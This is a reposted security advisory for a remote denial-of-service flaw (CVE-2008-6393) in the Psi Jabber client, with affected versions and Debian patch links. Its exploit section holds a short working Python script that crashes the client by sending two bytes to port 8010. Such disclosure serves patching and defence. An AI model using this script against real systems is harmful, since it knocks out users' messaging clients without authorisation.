No account yet?
Home » Exploits » Psi Malformed Packet Remote Denial of Service Vulnerability
Psi Malformed Packet Remote Denial of Service Vulnerability E-mail
Feeds - Exploits
Written by sha0   
Monday, 16 March 2009 21:15
Psi Malformed Packet Remote Denial of Service Vulnerability


-\\Bugtraq ID:
32987

-\\Class:
Failure to Handle Exceptional Conditions

-\\CVE:
CVE-2008-6393


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Dec 23 2008 12:00AM

-\\Updated:
Mar 16 2009 03:56PM

-\\Credit:
sha0



-\\Vulnerable:
S.u.S.E. openSUSE  11.1
S.u.S.E. openSUSE  11.0
S.u.S.E. openSUSE  10.3
Psi Psi  0.12
Debian Linux  5.0 sparc
Debian Linux  5.0 s/390
Debian Linux  5.0 powerpc
Debian Linux  5.0 mipsel
Debian Linux  5.0 mips
Debian Linux  5.0 m68k
Debian Linux  5.0 ia-64
Debian Linux  5.0 ia-32
Debian Linux  5.0 hppa
Debian Linux  5.0 armel
Debian Linux  5.0 arm
Debian Linux  5.0 amd64
Debian Linux  5.0 alpha
Debian Linux  5.0



-\\Discussion
Psi is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to cause the application to crash, denying service to legitimate users.

This issue affects Psi 0.12; other versions may also be vulnerable.



-\\Exploit(s)/PoC(s):
Attackers can exploit the issue using readily available network tools.

The following exploit is available:

===============================================================
32987.py
^^^^^^^^^
#!/usr/bin/python
#psi jabber client 8010/tcp remote denial of service (win & lin)
#by sha0[at]badchecksum.net
#http://jolmos.blogspot.com

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
    sock.connect((sys.argv[1],8010))
except:
    print 'Cannot connect!'
    sys.exit(1)

try:
    sock.send('\x05\xff')
    print 'Crashed!'
except:
    print 'Cannot send!'

sock.close()




-\\Solution
Updates are available. Please see the references for more information.


Debian Linux  5.0 hppa
--Debian  psi_0.11-9_hppa.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_hppa.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_hppa.deb

Debian Linux  5.0 ia-64
--Debian  psi_0.11-9_ia64.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_ia64.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_ia64.deb

Debian Linux  5.0 arm
--Debian  psi_0.11-9_arm.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_arm.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_arm.deb

Debian Linux  5.0 armel
--Debian  psi_0.11-9_armel.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_armel.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_armel.deb

Debian Linux  5.0 alpha
--Debian  psi_0.11-9_alpha.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_alpha.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_alpha.deb

Debian Linux  5.0 amd64
--Debian  psi_0.11-9_amd64.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_amd64.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_amd64.deb

Debian Linux  5.0 ia-32
--Debian  psi_0.11-9_i386.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_i386.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_i386.deb

Debian Linux  5.0 mips
--Debian  psi_0.11-9_mips.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_mips.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_mips.deb

Debian Linux  5.0 s/390
--Debian  psi_0.11-9_s390.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_s390.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_s390.deb

Debian Linux  5.0 mipsel
--Debian  psi_0.11-9_mipsel.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_mipsel.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_mipsel.deb

Debian Linux  5.0 powerpc
--Debian  psi_0.11-9_powerpc.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_powerpc.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_powerpc.deb

Debian Linux  5.0 sparc
--Debian  psi_0.11-9_sparc.deb
http://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_sparc.dehttp://security.debian.org/pool/updates/main/p/psi/psi_0.11-9_sparc.deb



-\\Reference(s)
--Psi Homepage
http://psi-im.org  (Psi)
 

Security Services by HSC